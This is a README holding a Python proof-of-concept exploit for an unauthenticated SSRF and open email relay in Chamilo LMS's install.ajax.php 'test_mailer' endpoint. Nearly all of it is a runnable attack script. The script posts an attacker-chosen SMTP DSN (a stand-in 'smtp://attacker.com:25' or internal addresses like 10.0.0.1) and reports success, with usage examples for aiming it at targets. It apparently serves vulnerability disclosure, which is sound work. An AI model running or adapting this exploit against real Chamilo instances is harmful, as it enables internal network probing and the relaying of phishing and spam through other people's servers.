README.md
Rendering markdown...
#!/usr/bin/env python3
"""
PoC: Chamilo LMS - Unauthenticated SSRF and Open Email Relay via install.ajax.php
Vulnerability: The install.ajax.php AJAX endpoint does not include the main
authentication/initialization framework (global.inc.php). It only loads the
Composer autoloader. This means:
1. No authentication check - anonymous users can access it
2. No installation-completed check - works even on fully installed instances
3. The 'test_mailer' action accepts an arbitrary Symfony Mailer DSN from POST data
4. It connects to the attacker-specified SMTP server and sends an email
Impact:
- SSRF: An attacker can make the server connect to arbitrary SMTP servers,
including internal network hosts (smtp://internal-host:25)
- Open Email Relay: The server can be used to send emails to arbitrary
destinations, enabling phishing and spam campaigns
- Internal Network Probing: By specifying internal IPs/hostnames in the DSN,
an attacker can enumerate internal services
Affected: chamilo/chamilo-lms (latest master as of 2026-03-23)
File: public/main/inc/ajax/install.ajax.php
"""
import requests
import sys
def exploit(target_url, attacker_smtp, from_email, to_email):
"""
Send a request to the unauthenticated test_mailer endpoint.
Args:
target_url: Base URL of the Chamilo instance (e.g., http://chamilo.local)
attacker_smtp: Attacker-controlled SMTP DSN (e.g., smtp://attacker.com:25)
from_email: Email address to send from
to_email: Email address to send to
"""
endpoint = f"{target_url}/main/inc/ajax/install.ajax.php?a=test_mailer"
payload = {
"mailerDsn": attacker_smtp,
"mailerFromEmail": from_email,
"mailerFromName": "Chamilo SSRF PoC",
"mailerTestDestination": to_email,
}
print(f"[*] Target: {endpoint}")
print(f"[*] SMTP DSN: {attacker_smtp}")
print(f"[*] From: {from_email}")
print(f"[*] To: {to_email}")
print()
try:
resp = requests.post(endpoint, data=payload, timeout=15, verify=False)
print(f"[*] HTTP Status: {resp.status_code}")
print(f"[*] Response: {resp.text[:500]}")
if resp.status_code == 200:
print("\n[+] SUCCESS: Email sent via unauthenticated endpoint!")
print("[+] The server connected to the specified SMTP server and sent an email.")
print("[+] This confirms SSRF and open email relay.")
elif "Connection could not be established" in resp.text:
print("\n[+] SSRF CONFIRMED: The server attempted to connect to the SMTP host.")
print("[+] The connection failed (host unreachable), but the SSRF is proven.")
elif resp.status_code == 500:
print("\n[+] Server error - the endpoint is reachable and processed the request.")
print("[+] Check if the SMTP connection was attempted.")
else:
print(f"\n[?] Unexpected response. Check manually.")
except requests.exceptions.ConnectionError:
print("[-] Cannot connect to target.")
except requests.exceptions.Timeout:
print("[+] Request timed out - server may be attempting SMTP connection (SSRF indicator)")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [attacker_smtp] [from_email] [to_email]")
print(f"Example: {sys.argv[0]} http://chamilo.local smtp://attacker.com:25 [email protected] [email protected]")
print()
print("Demonstrating the vulnerability structure:")
print()
print("Vulnerable file: public/main/inc/ajax/install.ajax.php")
print("- Only loads vendor/autoload.php (no auth, no install check)")
print("- Action 'test_mailer' creates Transport::fromDsn() with user-supplied DSN")
print("- Sends email to user-supplied destination")
print()
print("The DSN can target internal hosts: smtp://10.0.0.1:25")
print("This enables SSRF into the internal network via SMTP protocol.")
sys.exit(0)
target = sys.argv[1].rstrip("/")
smtp = sys.argv[2] if len(sys.argv) > 2 else "smtp://127.0.0.1:25"
from_addr = sys.argv[3] if len(sys.argv) > 3 else "[email protected]"
to_addr = sys.argv[4] if len(sys.argv) > 4 else "[email protected]"
exploit(target, smtp, from_addr, to_addr)